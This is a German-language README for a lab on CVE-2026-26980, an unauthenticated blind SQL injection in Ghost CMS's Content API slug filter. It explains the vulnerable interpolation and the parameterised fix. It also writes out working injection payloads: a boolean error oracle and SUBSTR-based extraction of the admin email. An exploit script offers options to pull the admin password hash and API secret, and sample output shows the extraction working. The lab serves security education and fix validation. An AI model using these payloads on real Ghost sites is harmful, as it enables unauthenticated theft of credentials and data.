
CVE-2026-26980 — Ghost CMS Content API SQL-Injection-Lab (unauthenticated blind SQLi über die Slug-Filter-Reihenfolge)
Unauthentifizierte blinde SQL-Injection in Ghost CMS über den Slug-Filter-Mechanismus der Content API, die beliebige Datenbankabfragen von jeder Ghost-Instanz ohne Anmeldedaten ermöglicht.
| CVE | CVE-2026-26980 |
| Advisory | GHSA-w52v-v783-gw97 |
| CVSS | 9.4 (Critical) |
| CWE | CWE-89 (SQL Injection) |
| Betroffen | Ghost 3.24.0 -- 6.19.0 |
| Behoben | Ghost 6.19.1 |
| Authentifizierung erforderlich | Keine (Content-API-Schlüssel ist standardmäßig öffentlich) |
| Credit/Referenzen | Nicholas Carlini mit Claude, Anthropic [https://www.youtube.com/watch?v=1sd26pWhfmg] |
Haftungsausschluss -- Dieses Labor dient ausschließlich autorisierten Sicherheitstests, der Ausbildung und defensiver Forschung. Verwenden Sie es nicht gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche Testgenehmigung haben.
Die Content API von Ghost unterstützt das Filtern von Tags und Beiträgen nach Slug mithilfe der Array-Notation: filter=slug:[tag-a,tag-b]. Intern erstellt eine Hilfsfunktion eine ORDER BY CASE-Anweisung, um die angeforderte Slug-Reihenfolge beizubehalten. Vor v6.19.1 wurden benutzerbereitgestellte Slug-Werte ohne Parametrisierung direkt in dieses SQL interpoliert:
// ghost/core/core/server/api/endpoints/utils/serializers/input/utils/slug-filter-order.js (VERWUNDBAR)
order += `WHEN \`${table}\`.\`slug\` = '${slug}' THEN ${index} `;
Der Content-API-Schlüssel ist in das HTML jeder Ghost-Website eingebettet (data-key="..."), was dies zu einer vollständig nicht authentifizierten Angriffsfläche macht.
Die NQL-Abfragesprache von Ghost validiert Filtereingaben und lehnt rohe einfache Anführungszeichen oder Leerzeichen ab. NQL akzeptiert jedoch in einfache Anführungszeichen eingeschlossene Werte innerhalb der Array-Notation (slug:['value']) und übergibt die Anführungszeichen als Teil des Literals. Der slugFilterOrder-Regex extrahiert diese Werte und interpoliert sie -- einschließlich der Anführungszeichen -- in das SQL:
Filter: slug:['||CASE WHEN 1=1 THEN 0 ELSE EXP(710) END||',news]
^ ^
NQL übergibt Anführungszeichen als Literalzeichen
Nach der Interpolation wird das ORDER BY zu:
CASE
WHEN `tags`.`slug` = ''||CASE WHEN 1=1 THEN 0 ELSE EXP(710) END||'' THEN 0
WHEN `tags`.`slug` = 'news' THEN 1
END ASC
Im Standard-SQL-Modus von MySQL ist || ein OR und '' ist falsy. Dies ergibt ein sauberes boolesches Orakel:
| Bedingung | CASE-Ergebnis | Auswirkung |
|---|---|---|
| TRUE | '' OR 0 OR '' = 0 | Normale Antwort (HTTP 200) |
| FALSE | '' OR EXP(710) OR '' | DOUBLE-Überlauffehler (HTTP 500) |
Mit dem etablierten Orakel wird die standardmäßige blinde Extraktion per binärer Suche angewendet:
slug:['||CASE WHEN ORD(SUBSTR((SELECT email FROM users LIMIT 1) FROM 1 FOR 1)) > 64 THEN 0 ELSE EXP(710) END||',news]
Die SUBSTR(... FROM pos FOR len)-Syntax vermeidet Kommas (nach denen slugFilterOrder aufteilt).
| TRUE (1=1) → HTTP 200 | FALSE (1=0) → HTTP 500 |
|---|---|
![]() | ![]() |





Der Fix ersetzt die String-Interpolation durch parametrisierte Bindungen:
// BEHOBEN
caseParts.push(`WHEN \`${table}\`.\`slug\` = ? THEN ?`);
bindings.push(slug.trim(), index);
Das crud.js-Plugin wurde aktualisiert, um Bindungen durch orderByRaw zu leiten, und @tryghost/bookshelf-plugins wurde auf 0.6.29 angehoben, das Bindungsunterstützung hinzufügt.
requests# Repository klonen und betreten
git clone <this-repo> && cd ghost-cve-2026-26980
# Python-Abhängigkeit installieren
pip install -r requirements.txt
# Verwundbare Ghost-Instanz starten (6.18.0 + MySQL 8)
docker compose up -d
# ~45 Sekunden warten, bis Ghost initialisiert ist, dann den Exploit ausführen
python3 exploit.py --url http://localhost:2368
# Zusätzlich die gepatchte Ghost 6.19.1 auf Port 2369 starten
docker compose --profile fixed up -d
# ~45 Sekunden warten, dann bestätigen, dass der Fix die Injection blockiert
python3 exploit.py --url http://localhost:2369 --validate-fix
bash validate.sh
docker compose --profile fixed down -v
usage: exploit.py [-h] [--url URL] [--validate-fix] [--extract-password]
[--extract-api-key] [--content-key KEY] [-v]
options:
--url URL Ghost-URL (Standard: http://localhost:2368)
--validate-fix Bestätigen, dass das Ziel NICHT verwundbar ist
--extract-password Zusätzlich den Admin-bcrypt-Hash extrahieren
--extract-api-key Zusätzlich das Admin-API-Geheimnis extrahieren
--content-key KEY Setup überspringen, diesen Content-API-Schlüssel direkt verwenden
-v, --verbose Orakelergebnisse pro Abfrage anzeigen
====================================================
CVE-2026-26980 — Ghost CMS Content API SQL Injection
====================================================
[*] Warte auf Ghost unter http://localhost:2368 bereit
[*] Ghost einrichten (admin: [email protected])
[+] Setup abgeschlossen — Sitzung wird hergestellt
[+] Angemeldet
[+] Content-API-Schlüssel: ad63c06a71457583ea58f050c1
[+] Anker-Slug: news
[*] Phase 1 — boolesche Blind-Verifikation
CASE WHEN 1=1: 200 (TRUE)
CASE WHEN 1=0: 500 (FALSE)
[+] Boolesches Orakel bestätigt — VERWUNDBAR
[*] Phase 2a — Admin-E-Mail extrahieren
Länge der Admin-E-Mail messen... 21 Zeichen
Extrahiere: [email protected]
[+] E-Mail: [email protected]